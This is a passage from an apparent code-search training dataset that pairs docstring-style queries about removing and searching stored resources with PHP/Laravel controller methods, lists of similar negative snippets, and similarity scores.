'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy(Kota $kota) { $kota->delete(); return redirect('/kota')->with('success', 'Sukses menghapus kota ' . $kota->nama_kota . '.'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Search the specified resource from storage.
public function search(Request $request) { return view('kota.search'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function searchAction()\n {\n $user_id = $this->getSecurityContext()->getUser()->getId();\n $drive = $this->_driveHelper->getRepository()->getDriveByUserId($user_id);\n\n $q = $this->getScalarParam('q');\n // $hits = $this->getResource('drive.file_indexer')->searchInDrive($q, $drive->drive_id);\n $hits = $this->getResource('drive.file_indexer')->search($q);\n\n echo '<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />';\n echo '<strong>', $hits->hitCount, '</strong> hits<br/>';\n foreach ($hits->hits as $hit) {\n $file = $this->_driveHelper->getRepository()->getFile($hit->document->file_id);\n if (empty($file)) {\n echo 'Invalid file ID: ', $hit->document->file_id;\n }\n if ($file && $this->_driveHelper->isFileReadable($file)) {\n echo '<div>', '<strong>', $file->name, '</strong> ', $this->view->fileSize($file->size), '</div>';\n }\n }\n exit;\n }", "function resourcesSearch($args)\n {\n if(!array_key_exists('search', $args))\n {\n throw new Exception('Parameter search is not defined', MIDAS_INVALID_PARAMETER);\n }\n $userDao = $this->_getUser($args);\n\n $order = 'view';\n if(isset($args['order']))\n {\n $order = $args['order'];\n }\n return $this->Component->Search->searchAll($userDao, $args['search'], $order);\n }", "function search() {}", "public function search(){}", "public function search($id);", "public function retrieve(Resource $resource);", "public function search();", "public function search();", "public function search($search);", "public function find($identifier);", "public function search($q);", "function search()\n\t{}", "function search()\n\t{}", "public function findBy($search);", "public function getFrom($resource);", "public function searchItemById(){\n\n $this -> Conexion -> abrir();\n $this -> Conexion -> ejecutar( $this -> ProductoDAO -> searchItemById());\n $res = $this -> Conexion -> extraer();\n $this -> idProducto = $res[0];\n $this -> nombre = $res[1];\n $this -> foto = $res[2];\n $this -> descripcion = $res[3];\n $this -> precio = $res[4];\n $this -> Conexion -> cerrar();\n }", "function searchResources( $q )\n {\n try\n {\n $params = ( is_array($q) && isset($q['q']) ) ? $q : array( 'q' => $q );\n $result = $this->apiCall('get',\"{$this->api['syndication_url']}/resources.json\",$params);\n return $this->createResponse($result,'search Resources','Search Criteria');\n } catch ( Exception $e ) {\n return $this->createResponse($e,'API Call');\n }\n }", "final public function search($resource, array $filters = [])\n {\n if (!is_string($resource) || trim($resource) == '') {\n throw new \\InvalidArgumentException('$resource must be a non-empty string');\n }\n\n $filters['apikey'] = $this->publicApiKey;\n $timestamp = time();\n $filters['ts'] = $timestamp;\n $filters['hash'] = md5($timestamp . $this->privateApiKey . $this->publicApiKey);\n $url = self::BASE_URL . urlencode($resource) . '?' . http_build_query($filters);\n\n return $this->send(new Request($url, 'GET', ['Accept' => 'application/json']));\n }", "function search() {\n // ...\n }", "public function find($data);", "public function search()\n\t{\n\t\t\n\t}", "public function find_storage($accid) {\n $result = $this->call_json($this->appliance_url.\"/api/find_storage.php\",array(\"accid\"=>$accid));\n if($result->status != \"ok\")\n throw new Exception(\"Failed to resolve storage for account $accid: \".$result->error);\n return $result->result;\n }", "public function SearchItemFind(Request $request)\n {\n $search = $request->terms;\n $book = BookModel::where('name', $search)->first();\n if ($book) {\n return redirect(\"/book-detail/$book->id\");\n } else {\n return redirect(\"/\")->with(\"error\", \"This Book is not found\");\n }\n }", "public function findResource($sResource){\n $iPos = strpos($sResource, '?');\n $sResource = $iPos ? substr($sResource, 0, $iPos) : $sResource;\n $sResource= str_replace('/', '_', $sResource);\n// echo $sResource;\n return $this->findFile($sResource, 'resource');\n }", "public function Search($objeto);", "public function search(Request $request, $id)\n {\n //\n $result = Store::scopeWhereId($id);\n return \\Response::json($result);\n }", "public function search()\n {\n $user = User::search('');\n dd($user);\n dd(request('keyword'));\n return ResponseHelper::createSuccessResponse([], 'Operation Successful');\n }", "public function searchAction( $site = 'default', $resource )\n\t{\n\t\tif( config( 'shop.authorize', true ) ) {\n\t\t\t$this->authorize( 'admin' );\n\t\t}\n\n\t\t$cntl = $this->createClient( $site, $resource );\n\t\treturn $this->getHtml( $site, $cntl->search() );\n\t}", "private function findRecord()\n {\n /** If the request is a read record request, we need to do this so eager loading occurs. */\n if ($this->jsonApiRequest->isReadResource()) {\n return $this->store->readRecord(\n $this->jsonApiRequest->getResourceType(),\n $this->jsonApiRequest->getResourceId(),\n $this->jsonApiRequest->getParameters()\n );\n }\n\n return $this->store->find($this->jsonApiRequest->getResourceIdentifier());\n }", "public function search() {\n\t\tif(isset($_GET['query'])) $this->query_str = $_GET['query'];\n\t\telse return;\n\n\t\t$raw = null;\n\n\t\t$cache = new Cache($this->query_str);\n\t\t//check if the result is cached\n\t\t\n\t\tif($cache->allow_cache()) {\n\t\t\t$raw = $cache->load_cache();\n\t\t\tif($raw === false) $raw = null;\n\t\t}\n\n\t\tif($raw === null) {\n\t\t\t//check if jar exists\n\t\t\tif(file_exists('../executable/app.jar')) $raw = shell_exec('cd ../executable/ && java -jar app.jar search ' . escapeshellarg($this->query_str));\n\t\t\telse return;\n\n\t\t\t//only save into cached when the escaped string equal to input string\n\t\t\tif($raw !== null && count($raw) > 0 && $cache->allow_cache()) \n\t\t\t\t$cache->save_cache($raw);\n\t\t}\n\n\t\t$this->results = json_decode($raw);\n\n\t\t$this->end_time = microtime(true);\n\t}", "public function findAction() {\n // todo log access\n $cardname = $this->_request->getParam('cardname');\n if (empty($cardname)) {\n $this->getHelper('redirector')->goto('index', 'index');\n }\n else {\n $this->getHelper('redirector')->gotoUrl('/index/search/card/' . rawurlencode($cardname));\n }\n }", "static function find($search_id)\n {\n $found_store = null;\n $stores = Store::getAll();\n foreach($stores as $store) {\n $store_id = $store->getId();\n if ($store_id == $search_id) {\n $found_store = $store;\n }\n }\n return $found_store;\n }", "public function get(Resource $resource);", "public function search($request, $response)\n {\n }", "public function search()\n {\n return $this->call('GET', $this->endpoint);\n }", "public function exists($resource);", "public function Index(xPDOObject $resource)\n {\n $this->modx->invokeEvent('mse2OnBeforeSearchIndex', [\n 'object' => $resource,\n 'resource' => $resource,\n 'mSearch2' => $this->mSearch2,\n ]);\n\n $words = $intro = [];\n // For proper transliterate umlauts\n setlocale(LC_ALL, 'en_US.UTF8', LC_CTYPE);\n\n foreach ($this->mSearch2->fields as $field => $weight) {\n if (strpos($field, 'tv_') !== false && $resource instanceof modResource) {\n $text = $resource->getTVValue(substr($field, 3));\n // Support for arrays in TVs\n if (!empty($text) && ($text[0] === '[' || $text[0] === '{')) {\n $tmp = $this->modx->fromJSON($text);\n if (is_array($tmp)) {\n $text = $tmp;\n }\n }\n } else {\n $text = $resource->get($field);\n }\n if (is_array($text)) {\n $text = $this->_implode_r(' ', $text);\n }\n $text = $this->modx->stripTags($text);\n $forms = $this->_getBaseForms($text);\n $intro[] = $text;\n foreach ($forms as $form => $count) {\n $words[$form][$field] = $count;\n }\n }\n\n if (!$classKey = $resource->get('class_key')) {\n $classKey = get_class($resource);\n }\n $q = $this->toBdQuery($resource->get('id'), $classKey, $intro, $words);\n if ($q->execute()) {\n $this->modx->invokeEvent('mse2OnSearchIndex', [\n 'object' => $resource,\n 'resource' => $resource,\n 'words' => $words,\n 'mSearch2' => $this->mSearch2,\n ]);\n } else {\n $this->modx->log(modX::LOG_LEVEL_ERROR,\n '[mSearch2] Could not save search index of resource '.$resource->get('id').': '\n .print_r($q->errorInfo(), 1));\n }\n }", "public static function search() {\r\n $result = lC_Default::find($_GET['q']);\r\n\r\n echo $result;\r\n }", "public abstract function find();", "public function searchAction()\n {\n //get the barcode, identifier and action for the product scanned or entered.\n $code = $this->getRequest()->getPost('input');\n $identifier = $this->getRequest()->getPost('identifier');\n\n Mage::log($identifier, null, 'identifier.log');\n\n if(isset($code) && !empty($identifier))\n {\n $product = Mage::getModel('barcodescanner/find')->findProduct($code, $identifier);\n } else {\n $product = \"Product not found, please try a different code\";\n }\n\n $this->getResponse()->setBody(json_encode($product));\n\n }", "function fluid_edge_get_search() {\n fluid_edge_load_search_template();\n }", "public final function search($filter, $param=array(), $read_mode='all', $callbacks=array())\n {\n $this->reset(true);\n $this->filter = $filter;\n $this->param = $param;\n return $this->read($read_mode, $callbacks);\n }", "function MediaAttach_searchapi_search($args)\n{\n $dom = ZLanguage::getModuleDomain('MediaAttach');\n if (!SecurityUtil::checkPermission('MediaAttach::', '::', ACCESS_READ)) {\n return true;\n }\n\n pnModDBInfoLoad('Search');\n $pntable = pnDBGetTables();\n $filestable = $pntable['ma_files'];\n $filescolumn = $pntable['ma_files_column'];\n $searchTable = $pntable['search_result'];\n $searchColumn = 